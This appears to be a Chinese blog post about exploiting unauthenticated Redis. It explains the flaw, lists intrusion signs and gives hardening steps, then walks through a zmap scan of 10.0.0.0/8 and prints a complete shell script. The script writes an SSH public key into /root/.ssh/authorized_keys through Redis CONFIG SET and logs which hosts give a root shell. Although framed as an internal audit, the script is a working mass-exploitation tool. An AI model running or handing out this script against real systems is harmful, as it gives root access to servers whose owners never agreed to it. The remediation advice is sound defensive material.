redis入侵
一、前言
前段时间,在做内网影响程度评估的时候写了扫描利用小脚本,
扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的
考虑到本社区大部分开发者都会使用redis,特此分享下以便大家可以对自己公司的内网进行一个排查。
二、漏洞介绍
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
入侵特征:
- Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
- 在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
- 在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥
三、修复建议
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改
bind 127.0.0.1
使得 Redis 服务只在当前主机可用
四、扫描工具
1 使用说明
#以Ubuntu为例
su
# Requirements
apt-get install redis-server expect zmap
git clone https://github.com/qingxp9/yyfexploit
cd yyfexploit/redis
# 扫描6379端口
# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt
# Usage
./redis.sh ip.txt
最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户
像这样:
ssh -i id_rsa root@x.x.x.x
2 工具源代码
就贴下代码吧,各位大牛请在家长陪同下观看
#!/bin/sh
if [ $# -eq 1 ]
then
ip_list=$1
##create id_rsa
echo "****************************************Create id_rsa file"
expect -c "
spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
expect {
\"*passphrase): \" {
exp_send \"\r\"
exp_continue
}
\"*again: \" {
exp_send \"\r\"
}
\"*y/n)? \" {
exp_send \"n\r\"
}
}
expect eof
"
echo "\n\n****************************************Attack Targets"
touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
i=0
cat $ip_list | while read ip
do
i=`expr $i + 1`;
#write id_rsa.pub to remote
echo "*****${i}***connect to remote ${ip} redis "
expect -c "
set timeout 3
spawn redis-cli -h $ip config set dir /root/.ssh/
expect {
\"OK\" { exit 0 }
\"ERR Changing directory: Permission denied\" { exit 1 }
timeout { exit 2 }
\"(error) NOAUTH Authentication required\" { exit 3 }
}
"
case $? in
0) echo "run redis as root"
echo $ip >> noauth.txt
echo $ip >> runasroot.txt
;;
1) echo "not run redis as root\n\n\n"
echo $ip >> noauth.txt
continue
;;
2) echo "connect timeout\n\n\n"
continue
;;
3) echo "Have Auth\n\n\n"
echo $ip >> haveauth.txt
continue
;;
esac
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h $ip -x set 1
redis-cli -h $ip config set dir /root/.ssh/
redis-cli -h $ip config set dbfilename "authorized_keys"
redis-cli save
#login test
echo "#try to login"
expect -c "
set timeout 5
spawn ssh -i id_rsa root@$ip echo \"yyf\"
expect {
\"*yes/no\" { send \"yes\n\"}
\"*password\" { send \"\003\"; exit 1 }
\"yyf\" { exit 0 }
timeout { exit 2 }
}
exit 4
"
exitcode=$?
if [ $exitcode -eq 0 ]
then
echo "---------------${ip} is get root shell"
echo $ip >> rootshell.txt
fi
echo "\n\n\n"
done
echo "##########Final Count##########"
wc -l $ip_list
echo "----------"
wc -l noauth.txt
wc -l runasroot.txt
wc -l rootshell.txt
echo "----------"
wc -l haveauth.txt
else
echo "usage: ./redis.sh ip.txt"
fi
redis入侵的更多相关文章
- redis入侵小结
redis安装: windows安装包:http://pan.baidu.com/s/1i3jLlC5 下载下来之后,开始安装: redis-server.exe redis.conf: 简单一步,安 ...
- redis 未授权漏洞利用直接登录服务器
在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp 的查看下没有任何异常 在top 下查到了有异常 ...
- linux上redis安装配置及其防漏洞配置及其攻击方法
Linux上redis安装: 需先在服务器上安装yum(虚拟机可使用挂载的方式安装) 安装配置所需要的环境运行指令: yum -y install gcc 进入解压文件执行make 指令进行编译 执 ...
- 阿里云被挖矿使用,导致cpu长期处于100%,ddgs进程,xWx3T进程,关于redis密码
1.使用top命令,查看到一个叫xWx3T的进程cpu占用99.8%,由于我的阿里云是单核的,所以最高只能100%. 把它用kill命令杀死后,过一会儿又启动了,又占用100%. 使用ps -ef可以 ...
- 一次腾讯云centos服务器被入侵的处理
昨天一大早,我还没到公司呢,就收到腾讯云安全中心发来的服务器异常登录告警,登录控制台一看,ip还是美国的,一脸懵逼.由于本人之前也没有过处理服务器入侵的经验,而且这台服务器目前还没有部署商用系统,所以 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
- SSRF打内网redis
0x00 redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统.Redis是一个开源的使用AN ...
- 基于ssh,shell,python,iptables,fabric,supervisor和模板文件的多服务器配置管理
前言:略 新服务器:NS 主服务器:OS 一:OS上新建模板目录例如 mkdir bright 用于导入一些不方便在远程修改的配置文件.redis.conf等,到需要配置的步骤时用远程cp命令覆 ...
- Redis CrackIT 入侵事件引发Linux 沦陷
▲针对全球6379端口的redis服务器做了扫描,结果如上图 如图开放在公网的redis的6379端口的ip总数有63443个.无密码认证的IP有43024个,在总数占比里达到67%.发现遭受到red ...
随机推荐
- SQL serve 聚合函数、字符串函数
1.聚合函数 sum,avg,max,min,count having后面只能跟聚合函数 2.数学函数和字符串函数 3.练习: 1)新建一个学生信息表,根据问题写出程序. 2)新建一个超 ...
- 一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就 ...
- Intent实现Activity组件之间的通信
今天讲解的是使用Intent实现Activity组件之间的通信. 一. 使用Intent显式启动Activity,Activity1àActivity2 1. ...
- hibernate 中如何用注解映射定长字符类型char(2)
如果是用xml的方式配置映射,可以在<column>标签的sql-type属性中设置char(2),比如: <property name="age" type=& ...
- Maven详解之聚合与继承
说到聚合与继承我们都很熟悉,maven同样也具备这样的设计原则,下面我们来看一下Maven的pom如何进行聚合与继承的配置实现. 一.为什么要聚合? 随着技术的飞速发展和各类用户对软件的要求越来越高, ...
- BizTalk开发系列(四) 深入Map测试
在BizTalk的开发过程中XML消息间的映射是一个很重要的内容.如果只是一般的从源节点的值复制到目标节点的话,BizTalk项目提供的 MAP测试和验证就已经可以满足需求了.但是很多时候需要在映射的 ...
- Android课程---手机尺寸相关的概念 +尺寸单位+关于颜色
手机的尺寸: 屏幕对角线的长度,单位为英寸(2.54cm) 手机的分辨率: 屏幕能显示的像素的数量, 一般用在长方向上数量*宽方向上数量来表达 手机的像素密度: pixels per inch,也称P ...
- json对象与json字符串对象格式
var cStr = "{\"c\":\"{\\\"b\\\":\\\"000\\\",\\\"b2\\\&q ...
- ExtJS4笔记 Data
The data package is what loads and saves all of the data in your application and consists of 41 clas ...
- java 求 两个数的百分比% (转)
int num1 = 7; int num2 = 9; // 创建一个数值格式化对象 NumberFormat numberFormat = NumberFormat.getInstance(); / ...